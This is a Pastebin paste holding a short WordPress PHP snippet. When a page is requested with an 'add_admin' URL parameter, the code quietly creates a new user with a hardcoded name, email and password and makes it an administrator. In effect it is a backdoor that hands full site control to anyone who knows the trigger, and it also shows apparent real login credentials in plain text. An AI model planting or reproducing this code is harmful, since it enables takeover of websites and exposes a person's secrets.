Guest User

Untitled

a guest
Mar 4th, 2018
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. add_action('init', 'add_my_user');
  2. function add_my_user() {
  3. if(isset($_GET["add_admin"])){
  4. $username = 'unaibamir';
  5. $email = 'unaibamiraziz@gmail.com';
  6. $password = 'ak47UN@@22';
  7.  
  8. $user_id = username_exists( $username );
  9.  
  10. if ( !$user_id && email_exists($email) == false ) {
  11. $user_id = wp_create_user( $username, $password, $email );
  12. if( !is_wp_error($user_id) ) {
  13. $user = get_user_by( 'id', $user_id );
  14. $user->set_role( 'administrator' );
  15. }
  16. }
  17. }
  18. }
Add Comment
Please, Sign In to add comment